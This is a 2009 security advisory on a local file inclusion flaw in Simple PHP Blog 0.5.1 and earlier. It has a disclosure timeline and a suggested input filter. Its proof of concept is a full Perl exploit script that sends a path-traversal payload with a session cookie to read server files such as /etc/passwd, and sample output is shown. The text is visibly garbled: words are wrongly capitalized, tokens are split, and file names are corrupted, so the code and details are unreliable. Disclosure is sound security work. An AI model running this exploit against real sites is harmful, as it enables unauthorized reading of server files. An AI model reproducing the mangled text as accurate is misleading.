Simple PHP Blog & amp; lt; = 0.5.1 local File Inclusion Defects

========================================================== =====
Internet security auditors alert 2009-005
-Original release date: March 2nd, 2009
-Last revised: December 18th, 2009
-Discovered by: Juan Galiana Lara
-Severity: 6.8/10 (CVSS scored)
========================================================== =====

I. VULNERABILITY
-------------------------
Simple PHP Blog <= 0.5.1 Local File Include vulnerability

II. BACKGROUND
-------------------------
Simple PHP Blog is a blog system does not requires database setup, and
Is very easy to install.

III. DESCRIPTION
-------------------------
Simple PHP Blog <= 0.5.1 is affected by a Local File Include
Vulnerability in parameter ages_cgi.php due to parameter blog_1_age1
Is not properly sanitized.

IV. PROOF OF CONCEPT
-------------------------
The affected code:

62 require_once (ages/. $ _ POST [blog_language1].
/Strings. php );

Exploit:

#! /Usr/bin/perl
# Local File Include Exploit
# Simple PHP Blog <= 0.5.1
# Jgaliana <at> isecauditors = dot = com
# Internet Security Auditors

Use LWP: UserAgent;

If ($ # ARGV <3) {die ("Usage: $0 <site> <path> <file> <cookie> ");}
$ Ua = LWP: UserAgent-> new;
$ Ua-> agent ("Simple PHP Blog Exploit pai_^ ");
$ Ua-> default_header (Cookie => "sid = $ ARGV [3]");
My $ req = new HTTP: Request POST =>
"Http: // $ ARGV [0] $ ARGV [1]/languages_cgi.php ";
$ Req-> content_type (application/x-www-form-urlencoded );
$ Req-> content ("blog_language1 =.../$ ARGV [2] % 00 ");
My $ res = $ ua-> request ($ req );

If ($ res-> is_success ){
Print $ res-> content;
} Else {
Print "Error:". $ res-> status_line ,"";
}

$ Perl simple. pl example.com/blog/etc/passwd <my_cookie_here> | head-1
Root: *: 0: 0: root:/bin/bash

The bug can be exploited with or without magic_quotes_gpc, but note
That if magic_quotes_gpc is set to Off, an attacker can view any file,
Adding a character like/etc/passwd, if not only can include php
Files, allowing to execute any local php files.

V. BUSINESS IMPACT
-------------------------
The impact is the attacker can read arbitrary files in the context
The webserver and execute arbitrary local php scripts.

VI. SYSTEMS AFFECTED
-------------------------
Versions prior and including 0.5.1 are affected
In order to patch the application the function file_exists () and
Basename () must be added to the affected code.

VII. SOLUTION
-------------------------
Change line 62 of parameter ages_cgi.php in order to filter $ _ POST [
Blog_language1] variable.

If (ereg (^ [a-zA-Z0-9 _] + $, $ _ POST [blog_language1])
Require_once (ages/. $ _ POST [blog_language1]./strings. php );

VIII. REFERENCES
-------------------------
Http://www.simplephpblog.com
Http://sourceforge.net/projects/sphpblog/
Http://www.isecauditors.com

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
By Juan Galiana Lara (jgaliana (at) isecauditors (dot) com ).

X. REVISION HISTORY
-------------------------
March 02,200 9: Initial release.
December 18,200 9: Last revision.

XI. DISCLOSURE TIMELINE
-------------------------
March 02,200 9: Vulnerability acquired
Internet Security Auditors (www.isecauditors.com)
March 03,200 9: Notified to developer. No response.
December 13,200 9: Notified again. No response.
December 18,200 9: Added mitigation solution and sent to lists.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
With no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
Caused by the use or misuse of this information